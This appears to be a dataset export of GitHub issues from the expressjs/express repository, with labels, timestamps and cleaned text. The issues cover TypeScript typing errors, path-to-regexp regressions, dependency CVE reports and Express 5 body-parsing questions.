    ""start"": ""tsc-watch --onSuccess \""node dist/index.js\""""
  },
...
""dependencies"": {
    ...
    ""express"": ""^5.0.1"",
    ...
  },
""devDependencies"": {
    ""@eslint/js"": ""^9.13.0"",
    ""@tsconfig/node20"": ""^20.1.4"",
    ""@types/express"": ""^5.0.0"",
    ""@types/node"": ""^22.8.1"",
    ""eslint"": ""^9.13.0"",
    ""eslint-config-prettier"": ""^9.1.0"",
    ""eslint-plugin-prettier"": ""^5.2.1"",
    ""globals"": ""^15.11.0"",
    ""tsc-watch"": ""^6.2.0"",
    ""typescript"": ""^5.6.3"",
    ""typescript-eslint"": ""^8.11.0""
  },
```

And my `tsconfig`:
```json
{
  ""extends"": ""@tsconfig/node20/tsconfig.json"",
  ""compilerOptions"": {
    ""rootDir"": ""src"",
    ""outDir"": ""dist"",
    ""sourceMap"": true,
    ""noImplicitAny"": true,
    ""noImplicitReturns"": true,
    ""noEmitOnError"": true,
    ""strictNullChecks"": true,
    ""noUnusedLocals"": true,
    ""emitDecoratorMetadata"": true,
    ""experimentalDecorators"": true,
    ""resolveJsonModule"": true
  },
  ""compileOnSave"": true,
  ""include"": [""src/**/*"", ""src/locales/**/*.json""],
  ""exclude"": [""**/*.spec.ts""]
}
```

I tried change types version, express version, make a lot of search but don't find any way to fix.
When I ... [TRUNCATED]",require-triage,2024-10-27 23:58:10+00:00,2024-11-11 12:29:37+00:00,3,require-triage,14.5218,error module express has no exported member hi i m using tried with last x too and trying to use with module and change my adding dependencies and scripts and my i tried change types version express version make a lot of search but don t find any way to fix when i truncated,bug,0.1655
expressjs/express,2613860196,"Type error on ""files"" key when extending ""Request"" type with @types/express 5.0","Hey, i've got this interface here :
```ts
import formidable from ""formidable"";
import type { Request } from ""express"";

export interface IRequestWithFiles extends Request {
  files: Record<string, formidable.File>;
}
```
With the types ""@types/express"": ""^4.17.21"" everything is fine
But with ""@types/express"": ""^5.0.0"" typescript throws this error :
```
Conversion of type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>' to type 'IRequestWithFormData' may be a mistake because neither type sufficiently overlaps with the other. If this was intentional, convert the expression to 'unknown' first.
  Types of property 'files' are incompatible.
    Type 'Files | undefined' is not comparable to type 'Record<string, File>'.
      Type 'Files' is not comparable to type 'Record<string, File>'.
        'string' index signatures are incompatible.
          Type 'File[] | undefined' is not comparable to type 'File'.
            Type 'File[]' is missing the following properties from type 'File': size, filepath, originalFilename, newFilename, and 3 more.
```
As a workaround i just renamed the ""files"" key of my interface.
But i cannot find in the type definition file anything related to the ""files"" key so i'm wondering why and how this key is typed.
Is there anything coming in future releases that involve that key ?",question,2024-10-25 11:38:48+00:00,2024-10-25 11:52:36+00:00,1,question,0.0096,type error on files key when extending request type with types express hey i ve got this interface here with the types types express everything is fine but with types express typescript throws this error as a workaround i just renamed the files key of my interface but i cannot find in the type definition file anything related to the files key so i m wondering why and how this key is typed is there anything coming in future releases that involve that key,bug,-0.6808
expressjs/express,2610492607,Bug Occur in the express router class while being routing,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
",bug,2024-10-24 05:17:24+00:00,2024-10-24 21:22:32+00:00,1,bug,0.6702,bug occur in the express router class while being routing the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix,bug,-0.4215
expressjs/express,2594039990,CVE-2024-43800-serve-static,"There is vulnerability in the latests scan for serve-static module.
└─┬ express@4.21.1 
  └── serve-static@1.16.2
",help wanted,2024-10-17 08:41:32+00:00,2024-10-17 15:47:15+00:00,2,help wanted,0.2956,cve serve static there is vulnerability in the latests scan for serve static module express serve static,help,-0.2263
expressjs/express,2589315644,Add committers to expressjs.com repo,"Based on the [Contributor Guide](https://github.com/expressjs/express/blob/master/Contributing.md#becoming-a-committer), several contributors should be given commit rights to the website repo:
- @bjohansebas - He's been very active, and I'm going to nominate him separately as a repo captain
- @carlosstenzel 
- @chrisdel101 

  ",,2024-10-15 16:42:23+00:00,2025-01-14 19:39:22+00:00,16,nan,91.1229,add committers to expressjs com repo based on the contributor guide several contributors should be given commit rights to the website repo bjohansebas he s been very active and i m going to nominate him separately as a repo captain carlosstenzel chrisdel,others,0.6361
expressjs/express,2585228190,CVE-2024-47764 from cookie-0.6.0,"I'm using express-4.21.0.

I've had a Mend report of a medium risk from cookie-0.6.0 for a week now (CVE-2024-47764). A week ago this was also reported via npm audit (as a low level risk). Now it's not even that as npm reports 0 vulnerabilities.

Has this issue been downgraded? It's still reported in Mend. Are there any plans on updating express 4 to use cookie-0.7.0 to fix the issue?
",question,2024-10-14 08:29:57+00:00,2024-10-14 15:27:05+00:00,2,question,0.2897,cve from cookie i m using express i ve had a mend report of a medium risk from cookie for a week now cve a week ago this was also reported via npm audit as a low level risk now it s not even that as npm reports vulnerabilities has this issue been downgraded it s still reported in mend are there any plans on updating express to use cookie to fix the issue,help,-0.5267
expressjs/express,2579284634,throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`); at node_modules/path-to-regexp/dist/index.js:73,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^
TypeError: Missing parameter name at 6: https://git.new/pathToRegexpError
    at name (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:183:20)
    at /rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<a... [TRUNCATED]",bug,2024-10-10 16:09:13+00:00,2024-10-10 17:15:42+00:00,21,bug,0.0462,throw new typeerror at node modules path to regexp dist index js the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js throw new typeerror typeerror missing parameter name at at name rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at lexer rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at lexer next at iter peek rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at iter tryconsume rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at iter text rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at consume rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at parse rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at rbd pnpm volume fa ee ee b e df e b b node modules path to regexp dist index js at array map a truncated,bug,-0.25
expressjs/express,2573370454,Bug with the router class,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

This is my code 
``// import the route
import { playground } from ""@colyseus/playground""
// ...
const monitor = require(""@colyseus/monitor"").monitor
const express = require(""express"")
const app = express
const route = app.Router

// ...
route.use(""/monitor"", monitor)

// bind it as an express middleware
route.use(""/playground"", playground)

app.listen(3000)

which throws this error 

$ bun run index.js
478 |       end: false
479 |     }, fn);
480 | 
481 |     layer.route = undefined;
482 | 
483 |     this.stack.push(layer);
               ^
TypeError: undefined is not an object (evaluating 'this.stack.push')
      at use (/workspace/colyseus-testing-ground/node_modules/express/lib/router/index.js:483:10)
      at /workspace/colyseus-testing-ground/index.js:10:7

Bun v1.1.30 (Linux x64)
error: script ""test"" exited with code 1
 and the code that throws this error in the /lib/router/index.js line 483 or this.layer.push()",,2024-10-08 14:23:02+00:00,2024-11-12 12:01:49+00:00,6,nan,34.9019,bug with the router class the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix this is my code import the route import playground from colyseus playground const monitor require colyseus monitor monitor const express require express const app express const route app router route use monitor monitor bind it as an express middleware route use playground playground app listen which throws this error bun run index js end false fn layer route undefined this stack push layer typeerror undefined is not an object evaluating this stack push at use workspace colyseus testing ground node modules express lib router index js at workspace colyseus testing ground index js bun v linux x error script test exited with code and the code that throws this error in the lib router index js line or this layer push,bug,-0.9231
expressjs/express,2571928694,Error message TS2339: Property 'use' does not exist on type 'Router'.," ""@types/express"": ""^5.0.0"",
 ""express"": ""^4.21.0"",

```
import { Router } from ""express"";
import cors from ""cors"";

export const handleCors = (router: Router) =>
router.use(cors({ credentials: true, origin: true }));
```

TS2339: Property 'use' does not exist on type 'Router'
Please help me see what the reason is",question,2024-10-08 03:01:43+00:00,2024-11-12 11:54:14+00:00,4,question,35.3698,error message ts property use does not exist on type router types express express ts property use does not exist on type router please help me see what the reason is,bug,0.25
expressjs/express,2569238724,npm audit fail on last Express version (4.21.0) due to cookie(0.6.0) vulnerability ,"Bug Report: npm audit fail on last Express version (4.21.0) due to cookie(0.6.0) vulnerability

Issue Description:

Running npm audit on the latest version of Express (4.21.0) fails due to a low severity vulnerability in cookie(<0.7.0).

Here’s the relevant output from npm audit:

npm audit report
cookie  <0.7.0

Severity: low
cookie accepts cookie name, path, and domain with out of bounds characters - https://github.com/advisories/GHSA-pxg6-pf52-xh8x
No fix available

Steps to reproduce

npm install express --save",bug,2024-10-07 04:03:28+00:00,2024-10-07 09:02:41+00:00,1,bug,0.2078,npm audit fail on last express version due to cookie vulnerability bug report npm audit fail on last express version due to cookie vulnerability issue description running npm audit on the latest version of express fails due to a low severity vulnerability in cookie here s the relevant output from npm audit npm audit report cookie severity low cookie accepts cookie name path and domain with out of bounds characters no fix available npm install express save,bug,-0.9169
expressjs/express,2568240532,Raw Body Not Passed Correctly to Svix Webhook Verification,"
Hi Express team,

I'm encountering an issue while trying to verify a webhook payload using Svix in my Express.js app. Despite following the recommended approach from both the Svix documentation and Express documentation, I continue to receive an error stating:

```
Error verifying the webhook: Expected payload to be of type string or Buffer.

```
**Context**:
Node.js version: v20.17.0
Express version: 4.21.0
body-parser: I'm using bodyParser.raw({ type: ""application/json"" }) to pass the raw payload as recommended by Svix.
Svix version: 1.35.0

Code Snippet:

```
import express from ""express"";
import { Webhook } from ""svix"";
import bodyParser from ""body-parser"";

const router = express.Router();

router.post(
  ""/webhook"",
  bodyParser.raw({ type: ""application/json"" }), // Using raw body-parser
  async (req, res, next) => {
    const WEBHOOK_SECRET = process.env.WEBHOOK_SECRET;

    if (!WEBHOOK_SECRET) {
      return next(new Error(""WEBHOOK_SECRET is missing in the environment.""));
    }

    const payload = req.body;
    const headers = req.headers;

    const wh = new Webhook(WEBHOOK_SECRET);

    try {
      const evt = wh.verify(payload, headers);
      // Further webhook processing...
      return res.status(200).json({ success: true });
    } catch (err) {
      console.error(""Webhook verification failed:"", err.message);
      return res.status(400).json({
        success: false,
        message: ""Webhook verification fail... [TRUNCATED]","help wanted,question",2024-10-05 17:56:43+00:00,2024-10-09 21:47:11+00:00,4,"help wanted,question",4.16,raw body not passed correctly to svix webhook verification hi express team i m encountering an issue while trying to verify a webhook payload using svix in my express js app despite following the recommended approach from both the svix documentation and express documentation i continue to receive an error stating context node js version v express version body parser i m using bodyparser raw type application json to pass the raw payload as recommended by svix svix version code snippet import express from express import webhook from svix import bodyparser from body parser const router express router router post webhook bodyparser raw type application json using raw body parser async req res next const webhook secret process env webhook secret if webhook secret return next new error webhook secret is missing in the environment const payload req body const headers req headers const wh new webhook webhook secret try const evt wh verify payload headers further webhook processing return res status json success true catch err console error webhook verification failed err message return res status json success false message webhook verification fail truncated,help,-0.8168
expressjs/express,2568033062,"Getting error while using "" return res.json({ }) ""","using ""express"": ""^4.21.0"",
created this middleware for token verification

```
import { NextFunction, Request, Response } from ""express"";
import { JwtPayload, verify } from ""jsonwebtoken"";

declare global {
  namespace Express {
    interface Request {
      user: JwtPayload;
    }
  }
}

export const tokenVerifier = (
  req: Request,
  res: Response,
  next: NextFunction
) => {
  try {
    const authHeader = req.headers.authorization;

    if (!authHeader)
      return res.json({
        err: ""authorization token was not provided"",
        isSuccess: false,
      });

    const token = authHeader!.split("" "")[1];

    req.user = verify(
      token,
      process.env.FLEXIBASE_AUTH_SECRET_KEY!
    ) as JwtPayload;

    next();
  } catch (err) {
    return res.json({ isSucess: false, err });
  }
};
```

```
D:\Projects\flexibase-auth\node_modules\ts-node\src\index.ts:859
    return new TSError(diagnosticText, diagnosticCodes, diagnostics);
           ^
TSError: ⨯ Unable to compile TypeScript:
src/routers/auth.router.ts:13:38 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request, res: Response, next: NextFunction) => Response<any, Record<string, any>> | undefined' is not assignable to parameter of type 'RequestHandlerParams<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
      Type '(req: Request, res: Response, next: NextFunction) => Respo... [TRUNCATED]","bug,help wanted",2024-10-05 13:14:12+00:00,2024-11-12 14:21:26+00:00,8,"bug,help wanted",38.0467,getting error while using return res json using express created this middleware for token verification d projects flexibase auth node modules ts node src index ts return new tserror diagnostictext diagnosticcodes diagnostics tserror unable to compile typescript src routers auth router ts error ts no overload matches this call the last overload gave the following error argument of type req request res response next nextfunction response undefined is not assignable to parameter of type requesthandlerparams type req request res response next nextfunction respo truncated,bug,-0.9403
expressjs/express,2567501099,Dependency on cookie 0.6.0 fails npm audit,"GitHub Advisory Database says cookie 0.6.0 has issues, resulting in npm audit failure

https://github.com/advisories/GHSA-pxg6-pf52-xh8x

```shell
npm ls cookie
─┬ express@4.21.0
 └── cookie@0.6.0
```

Remedy: Upgrade to cookie 0.7.0",bug,2024-10-04 22:43:25+00:00,2024-10-08 19:44:09+00:00,5,bug,3.8755,dependency on cookie fails npm audit github advisory database says cookie has issues resulting in npm audit failure remedy upgrade to cookie,bug,-0.7269
expressjs/express,2567497330,Dependency on cookie 0.6.0 fails npm audit,"GitHub Advisory Database now says cookie 0.6.0 has issues, resulting in npm audit failure

https://github.com/advisories/GHSA-pxg6-pf52-xh8x

```shell
npm ls cookie
─┬ express@4.21.0
 └── cookie@0.6.0
```

Remedy: Upgrade to cookie 0.7.0",bug,2024-10-04 22:38:11+00:00,2024-10-04 22:44:14+00:00,1,bug,0.0042,dependency on cookie fails npm audit github advisory database now says cookie has issues resulting in npm audit failure remedy upgrade to cookie,bug,-0.7269
expressjs/express,2558420380,Empty body in express 5 with express.json,"Hi,

The request body is undefined in express 5 but not in express 4.

```typescript
let app = express();
app.use(express.json());
.post('/', (request: Request, response: Response, next: NextFunction) => {
        console.log(request.body)
        next();
    }
});
app.listen(5000);
```

As explain in the [express 5 api doc](https://expressjs.com/en/5x/api.html#req.body), we need a middleware.
I use the `express.json()` middleware, but it looks like it does not work anymore in express 5.
Is it wanted or no ? If yes, describe this in doc please.",bug,2024-10-01 07:33:42+00:00,2024-10-07 19:44:20+00:00,4,bug,6.5074,empty body in express with express json hi the request body is undefined in express but not in express as explain in the express api doc we need a middleware i use the middleware but it looks like it does not work anymore in express is it wanted or no if yes describe this in doc please,bug,0.7615
expressjs/express,2558145337,`npm run test`: TypeError: Cannot read properties of undefined (reading 'encrypted'),"```
C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express>npm run test

> express@5.0.0 test
> mocha --require test/support/env --reporter spec --bail --check-leaks test/ test/acceptance/


TypeError: Cannot read properties of undefined (reading 'encrypted')
    at IncomingMessage.protocol (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\request.js:286:31)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\request.js:314:18)
    at Module._compile (node:internal/modules/cjs/loader:1358:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1416:10)
    at Module.load (node:internal/modules/cjs/loader:1208:32)
    at Module._load (node:internal/modules/cjs/loader:1024:12)
    at Module.require (node:internal/modules/cjs/loader:1233:19)
    at require (node:internal/modules/helpers:179:18)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\express.js:20:11)
    at Module._compile (node:internal/modules/cjs/loader:1358:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1416:10)
    at Module.load (node:internal/modules/cjs/loader:1208:32)
    at Module._load (node:internal/modules/cjs/loader:1024:12)
    at Module.require (node:internal/modules/cjs/loader:1233:19)
    at require (node:internal/modules/helpers:179:18)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\index.js:11:18)
    at Modul... [TRUNCATED]",bug,2024-10-01 04:24:34+00:00,2024-10-01 04:27:37+00:00,0,bug,0.0021,typeerror cannot read properties of undefined reading encrypted c users pc onedrive documenti sviluppo javascript express npm run test express test mocha require test support env reporter spec bail check leaks test test acceptance typeerror cannot read properties of undefined reading encrypted at incomingmessage protocol c users pc onedrive documenti sviluppo javascript express lib request js at object c users pc onedrive documenti sviluppo javascript express lib request js at module compile node internal modules cjs loader at module extensions js node internal modules cjs loader at module load node internal modules cjs loader at module load node internal modules cjs loader at module require node internal modules cjs loader at require node internal modules helpers at object c users pc onedrive documenti sviluppo javascript express lib express js at module compile node internal modules cjs loader at module extensions js node internal modules cjs loader at module load node internal modules cjs loader at module load node internal modules cjs loader at module require node internal modules cjs loader at require node internal modules helpers at object c users pc onedrive documenti sviluppo javascript express index js at modul truncated,bug,0.836
expressjs/express,2556589575,"fix: Not fully compatible with path-to-regexp@0.1.10, causing program errors","## env
- express@4.21.0
- node@18.19.0
- path-to-regexp@0.1.10 and path-to-regexp@0.1.11

see:
- https://github.com/pillarjs/path-to-regexp/issues/333
- https://github.com/expressjs/express/pull/5902#issuecomment-2382229046

## Code Analysis:

see:

- https://github.com/wll8/mockm/blob/5ecf970776674a2fc49b46f45b5ae49097f82df5/server/util/business.js#L68
- https://github.com/expressjs/express/blob/7e562c6d8daddff4604f8efaaf9db2cf98c6dcff/lib/application.js#L489

step:

- `methods` includes `bind`.
- Therefore, `app` has a `bind` function.
- The `bind` function can accept `this`, which is an object (`path`).
- However, in the `bind` function, `this._router.route(path)` receives this object.
- This object is passed to `path-to-regexp`.
- In `path-to-regexp` v0.1.7, the object is converted to a string without causing an error.
- In `path-to-regexp` v0.1.10, encountering an object can cause the program to crash.
- This is the reason for the program crash after the update.

The version that found the problem was 0.1.10, but this error was thrown in 0.1.11.

``` js
  if (typeof path !== 'string') {
    throw new TypeError('path must be a string, array of strings, or regular expression');
  }
```

imgA:

![image](https://github.com/user-attachments/assets/44a60fc6-a933-4b5e-b0eb-38e1ba9be134)

imgB:

![image](https://github.com/user-attachments/assets/92249ffd-7b50-4ec9-8f6a-9bfca576c21f)


In imgA, httpolyglot passed an object, which was c... [TRUNCATED]","bug,4.x,help wanted",2024-09-30 12:54:38+00:00,2024-10-01 06:52:26+00:00,2,"bug,4.x,help wanted",0.7485,not fully compatible with path to regexp causing program errors env express node path to regexp and path to regexp see code analysis see step includes therefore has a function the function can accept which is an object however in the function receives this object this object is passed to in v the object is converted to a string without causing an error in v encountering an object can cause the program to crash this is the reason for the program crash after the update the version that found the problem was but this error was thrown in imga image imgb image in imga httpolyglot passed an object which was c truncated,bug,-0.1999
expressjs/express,2549665259,Version 4.21.0 and older now pulls in types for 5.0.0 that are incompatible.,"Version 4.21.0 and older now pulls in types for 5.0.0 that are incompatible.


```

     ""node_modules/@types/express"": {
       ""version"": ""5.0.0"",
       ""resolved"": ""https://registry.npmjs.org/@types/express/-/express-5.0.0.tgz"",
       ""integrity"": ""sha512-DvZriSMehGHL1ZNLzi6MidnsDhUZM/x2pRdDIKdwbUNqqwHxMlRdkxtn6/EPKyqKpHqTl/4nRZsRNLpZxZRpPQ=="",
      ""license"": ""MIT"",
       ""dependencies"": {
         ""@types/body-parser"": ""*"",
         ""@types/express-serve-static-core"": ""^5.0.0"",
         ""@types/qs"": ""*"",
         ""@types/serve-static"": ""*""
       }
     },
```


```
app/server.ts:31:11 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(err: any, req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>, next: NextFunction) => void | Response<...>' is not assignable to parameter of type 'PathParams'.

31   app.use(ErrorHandler);
             ~~~~~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:153:5
    153     <
            ~
    154         P = ParamsDictionary,
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ...
    162         ...handlers: Array<RequestHandlerParams<P, ResBody, ReqBody, ReqQuery, LocalsObj>>
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    163     ): T;
        ~~~~~~~~~
    The last overload is declared here.
```
 

Addi... [TRUNCATED]",bug,2024-09-26 06:44:59+00:00,2024-10-22 11:45:45+00:00,22,bug,26.2089,version and older now pulls in types for that are incompatible version and older now pulls in types for that are incompatible addi truncated,bug,0.0
expressjs/express,2539979414,Error handling middleware not being called. ,"
![Screenshot 2024-09-21 104151](https://github.com/user-attachments/assets/96a8ac0d-321c-43bc-822a-209e782daa6a)

here's my app.ts (index.ts contain app.listen part after successful connection with mongo.db);
here's test controller.
![Screenshot 2024-09-21 104216](https://github.com/user-attachments/assets/37b5ba40-b008-4b7a-bde7-dcfd2ab70918)

when hit API with postman, none of the error is showing. ",question,2024-09-21 05:12:54+00:00,2024-10-27 10:31:37+00:00,4,question,36.2213,error handling middleware not being called screenshot here s my app ts index ts contain app listen part after successful connection with mongo db here s test controller screenshot when hit api with postman none of the error is showing,bug,-0.296
expressjs/express,2538663006,4.20.0 introduce a regression in regexp path parsing (router),"hello,

I think we ahave spotted a new bug introduced in 4.20.0 during a project express update qualifying new versions.
Versions before 4.20.0 are not affected whatsoever as we have observed.

Versions starting at 4.20.0 fixes a CVE/bug in regexp parser and introduce odd behavior while parsing routes. 

Stated a json route files like so : 
```
[
 { 
""path"": ""/whatsoever/"", 
""impl"" : ""classA""
}
]
```

The project initializeRoutes middleware cannot set up this route in 4.20.0 and upper while it does work well in lower versions (including 4.19.2)


app being the express instance, the route initializer middleware is like so :

```
InitializeRoutes.getRoutes(link).map((rc) => {
                    app.use('/', rc.router);
})
```

getRoutes returns class instance array that complies to express controller logic :

```
export abstract BaseController {
    router = Router();
    path!: string;
}
```


That king of middleware stuff is working fine up to and including 4.19.2. 
4.20.0 breaks this stuff

How should we fix this to make it work in more recent versions ? 

","bug,awaiting more info",2024-09-20 12:16:39+00:00,2024-09-23 09:09:29+00:00,5,"bug,awaiting more info",2.87,introduce a regression in regexp path parsing router hello i think we ahave spotted a new bug introduced in during a project express update qualifying new versions versions before are not affected whatsoever as we have observed versions starting at fixes a cve bug in regexp parser and introduce odd behavior while parsing routes stated a json route files like so the project initializeroutes middleware cannot set up this route in and upper while it does work well in lower versions including app being the express instance the route initializer middleware is like so getroutes returns class instance array that complies to express controller logic that king of middleware stuff is working fine up to and including breaks this stuff how should we fix this to make it work in more recent versions,bug,0.0885
expressjs/express,2535888266,🏁 RoSctober 2024: The Open Source Developer Challenge is about to start! 🎉,"As part of the RoSctober Race presented by [Race of Sloths](https://race-of-sloths.com/), we recognized this repo to be highly valuable in the open-source movement, and we want to encourage developers to contribute to it.

The RoSctober Race contributions will be rewarded proportionally to their contributions to the selected open-source projects. Read below for the official rules, and let’s see who will climb to the top of the Sloth Hall of Fame! 🦥

## TLDR for maintainers:

- This issue is an invitation to join [Race of Sloths](https://race-of-sloths.com/) project
- To accept the invitation, comment `@race-of-sloths accept`
- Once the invitation is accepted, your contributors are eligible to participate in the RoSctober Race with a $10,000 prize pool

## What is the RoSctober Race and Race of Sloths?
RoSctober Race was inspired by Hacktoberfest and is the first thematic Race of [Race of Sloths](https://race-of-sloths.com/) project. Our goal is to make the open-source contributions more fun and rewarding, allowing developers to contribute, get recognized, participate in weekly and monthly quests, and boost their profiles by earning points and competing in the leaderboards - all in a non-intrusive way with just a couple of commands directly in GitHub interface. 

1. Every contributor is welcome
2. Prize Pool: $10,000 USDT 💰
3. Eligibility: Earn at least 100 SP during RoSctober to qualify for the prize.
4. Competition Timeline: October 1st to October 31st, 2024
5. Submission Pr... [TRUNCATED]",,2024-09-19 10:08:54+00:00,2024-09-25 19:53:36+00:00,1,nan,6.406,rosctober the open source developer challenge is about to start as part of the rosctober race presented by race of sloths we recognized this repo to be highly valuable in the open source movement and we want to encourage developers to contribute to it the rosctober race contributions will be rewarded proportionally to their contributions to the selected open source projects read below for the official rules and let s see who will climb to the top of the sloth hall of fame tldr for maintainers this issue is an invitation to join race of sloths project to accept the invitation comment once the invitation is accepted your contributors are eligible to participate in the rosctober race with a prize pool what is the rosctober race and race of sloths rosctober race was inspired by hacktoberfest and is the first thematic race of race of sloths project our goal is to make the open source contributions more fun and rewarding allowing developers to contribute get recognized participate in weekly and monthly quests and boost their profiles by earning points and competing in the leaderboards all in a non intrusive way with just a couple of commands directly in github interface every contributor is welcome prize pool usdt eligibility earn at least sp during rosctober to qualify for the prize competition timeline october st to october st submission pr truncated,others,0.9928
expressjs/express,2530799433,"express using older version of path-to-regex, which is causing us the operational vulnerability in our project. ","<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

express version 4.18.2 using path-to-regex version: [0.1.11]
latest path-to-regexp version is: [8.1.0]
please upgrade the library to latest version.",bug,2024-09-17 10:43:45+00:00,2024-09-17 13:41:20+00:00,9,bug,0.1233,express using older version of path to regex which is causing us the operational vulnerability in our project the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix express version using path to regex version latest path to regexp version is please upgrade the library to latest version,bug,0.1531
expressjs/express,2528380954,Dependency: Bump path-to-regexp in v4 to fix security vulnerability. ,"Bump dep path-to-regexp to fix https://github.com/advisories/GHSA-9wv6-86v2-598j

https://github.com/expressjs/express/blob/4.x/package.json#L50",,2024-09-16 12:48:44+00:00,2024-09-16 13:27:25+00:00,7,nan,0.0269,dependency bump path to regexp in v to fix security vulnerability bump dep path to regexp to fix,bug,0.6705
expressjs/express,2527348366,"i dont know why my token keep returning undefined, please help.","<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

So im trying to secure an endpoint that allows user create blog, so anyone wont just go over to the '/blogPublish' and have access to it but i keep getting faced with an error when i try to access it... ILL BE GLAD IF ANYONE CAN HELP

_**server.js**_
```
require(""dotenv"").config();
const express = require(""express"");
const mongoose = require(""mongoose"");
const path = require('path');
const bodyParser = require('body-parser');
const protectedRoute = require(""./routes/protect.route.js"");
const app = express();

// middleware
app.use(express.json());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'public')));
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Headers', 'O... [TRUNCATED]","help wanted,question",2024-09-16 01:43:55+00:00,2024-09-16 09:59:37+00:00,1,"help wanted,question",0.3442,i dont know why my token keep returning undefined please help we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the node js slack community s express js channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown without seeing what your code looks like we won t be able to help you very much more is better when it comes to sharing code samples if you re having a problem so im trying to secure an endpoint that allows user create blog so anyone wont just go over to the blogpublish and have access to it but i keep getting faced with an error when i try to access it ill be glad if anyone can help server js require dotenv config const express require express const mongoose require mongoose const path require path const bodyparser require body parser const protectedroute require routes protect route js const app express middleware app use express json app use bodyparser json app use express static path join dirname public app use req res next res header access control allow origin res header access control allow headers o truncated,help,0.9911
expressjs/express,2524147026,`req.body` with JSON middleware is `undefined` on empty POST in Express 5,"Hello,

I'm currently going through the Express 5 update for a few projects. An issue I'm encountering is `req.body` is coming in as `undefined` using the JSON middleware, when it is expected to be an empty object as mentioned in the [docs](https://expressjs.com/en/5x/api.html). I'm unsure if this is a bug or the docs have simply not been updated (since it still says ""beta""), and couldn't find any related issues around this.

Reproduction sample:
```js
const express = require('express');

const app = express();

app.use(express.json());

app.post('/', (req, res) => {
  console.log('body', req.body); // undefined on express@5, {} on express@4.20.0
  res.sendStatus(200);
});

app.listen(9999);
```

Invoked with `curl -X POST -H ""Content-Type: application/json"" http://localhost:9999/`.

